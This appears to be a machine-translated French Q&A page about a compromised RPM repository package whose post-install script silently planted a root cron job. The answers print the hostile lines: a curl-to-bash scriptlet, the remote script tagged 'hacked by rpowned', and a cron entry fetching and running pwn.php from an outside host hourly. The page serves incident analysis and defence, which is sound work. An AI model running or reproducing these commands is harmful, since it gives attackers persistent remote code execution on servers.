web-dev-qa-db-fra.com

Comment l'installation de ce RPM a-t-elle créé un fichier?

Fonctionnement yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpm crée /etc/cron.d/sysstat2 mais RPM désavoue le fichier:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

Comment le RPM a-t-il créé le fichier et comment puis-je voir ce qu'il a fait d'autre?

16
Pascal
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php contient:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2
18
Pascal

Vous avez découvert que les scripts du rpm exécutent un script à partir d'Internet, et ce script redirige actuellement vers ce qui pourrait être un malware. Bien que je ne trouve pas beaucoup de charge utile qui fasse quoi que ce soit.

rpm ne peut pas suivre complètement ce qui s'est passé car il exécute un script arbitraire.

gpgcheck ne vous aidera pas, les getpagespeed-extras-7-6.el7.gps.noarch.rpm et getpagespeed-extras-release-7-1.el7.gps.noarch.rpm vous avez lié semble avoir des signatures valides:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <[email protected]>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

Se plaindre au propriétaire du référentiel que le package exécute du code arbitraire à partir d'Internet. Si tel est le cas, la sécurité de leur chaîne logistique logicielle doit être améliorée.

Il semble un peu paranoïaque de faire la première installation d'un logiciel sans accès à Internet, ou d'inspecter manuellement le script "post-installation". Mais malheureusement, cela semble presque nécessaire si les paquets font des trucs mal avisés comme celui-ci.

16
John Mahowald

J'ai 5 serveurs CLoudLinux/cPanel qui avaient Nginx sur eux via Engintron, mais ils exécutent maintenant le serveur Web LiteSpeed ​​à la place. Je pense qu'Engintron a peut-être laissé derrière lui les dépôts de pages lors de sa désinstallation. cPanel exécute une vérification de mise à jour tous les soirs et vers minuit, tous mes serveurs m'ont envoyé un rapport par e-mail:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

Une recherche sur le site de la charge utile m'a conduit ici où je vois que le même jour, vous avez eu le même problème. Donc, pour ajouter mes informations à la vôtre. Le même /etc/cron.d/sysstat2 le fichier existait sur tous mes serveurs.

J'ai supprimé le fichier, supprimé les référentiels et utilisé le formulaire de contact sur GetPageSpeed ​​pour signaler le problème. Le propriétaire du Repo peut être AWOL car il y avait un article de blog disant qu'il fermait le repo en raison de problèmes de santé. Alors peut-être que l'attaquant a profité du fait que le dépôt n'attire pas l'attention ou a trouvé une porte ouverte à exploiter.

1
John C. Reid